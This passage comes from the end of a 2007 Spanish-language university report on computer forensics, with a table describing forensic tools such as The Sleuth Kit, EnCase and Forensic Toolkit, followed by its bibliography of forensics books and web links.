    Universidad de Buenos Aires - Facultad de Ingeniera 40

    The Sleuth Kit Recuperacin de archivos

    borrados O.S. Linux

    Windows http://www.sleuthkit.org/autopsy/download.

    php

    Encase Copiado comprimido de discos

    fuente

    Bsqueda y anlisis de mltiples partes de archivos adquiridos

    Diferente capacidad de almacenamiento

    Varios campos de ordenamiento, incluyendo

    estampillas de tiempo

    Anlisis compuesto del documento

    Firmas de archivos, identificacin y anlisis

    Anlisis electrnico del rastro de intervencin

    Soporte de mltiples sistemas de archivo

    Vista de archivos y otros datos en el espacio Unallocated

    Integracin de reportes

    Visualizador integrado de imgenes con galera

    Comercial Windows http://www.guidancesoftware

    .com/

    Forensic Tool Kit Permite principalmente analizar la informacin relevada de un

    sistema.

    Manejo de imgenes de File systems Windows (NTFS, FAT) y Linux (ext2, ext3) realizadas con Encase, Smart, Snapback,

    Safeback y DD).

    Anlisis de archivos comprimidos (winzip, pkzip,

    rar, gzip, tar).

    Anlisis de correo electrnico,

    Identificacin de archivos tpicos del file system y programas, de evidencia,

    hashsets, etc.

    Generacin de reportes, acceso y desencriptado de datos protegidos y de registros.

    Comercial Windows - Linux

    http://www.accessdata.com/

  • Grupo 3 1 Cuatrimestre - 2007 Tp: Informtica Forense

    Universidad de Buenos Aires - Facultad de Ingeniera 41

    5. Bibliografa

    5.1. Principal

    Este trabajo fue realizado a partir de la bibliografa expuesta a continuacin. Se extrajeron fragmentos y se utilizaron esquemas, convenientemente citados.

    Forensic Discovery, Dan Farmer Wietse Venema.

    El tratamiento de la Evidencia Digital, Leopoldo Sebastin M. Gomez.

    Real Digital Forensics, Jones Bejtlich Rose

    5.2. Complementaria

    Evidencia Digital: contexto, situacin e implicaciones nacionale, Jos Alejandro Mosquera Gonzlez - Andrs Felipe Certain Jaramillo - Jeimy J. Kano

    Introduccin a la Informtica Forense, Jeimy J. Kano

    http://www.delitosinformaticos.com/delitos/prueba.shtml

    http://www2.compendium.com.ar/juridico/leggieri.html

    http://www2.compendium.com.ar/juridico/peri2.html

    http://web.mit.edu/tytso/www/linux/ext2intro.html

    http://www.softpanorama.org/Internals/unix_system_calls.shtml

    http://ext2read.sourceforge.net/documentation/inside-ext23-file-system/

    http://www.securityfocus.com/infocus/1738

    Herramientas Open Source: http://www.opensourceforensics.org/tools/unix.html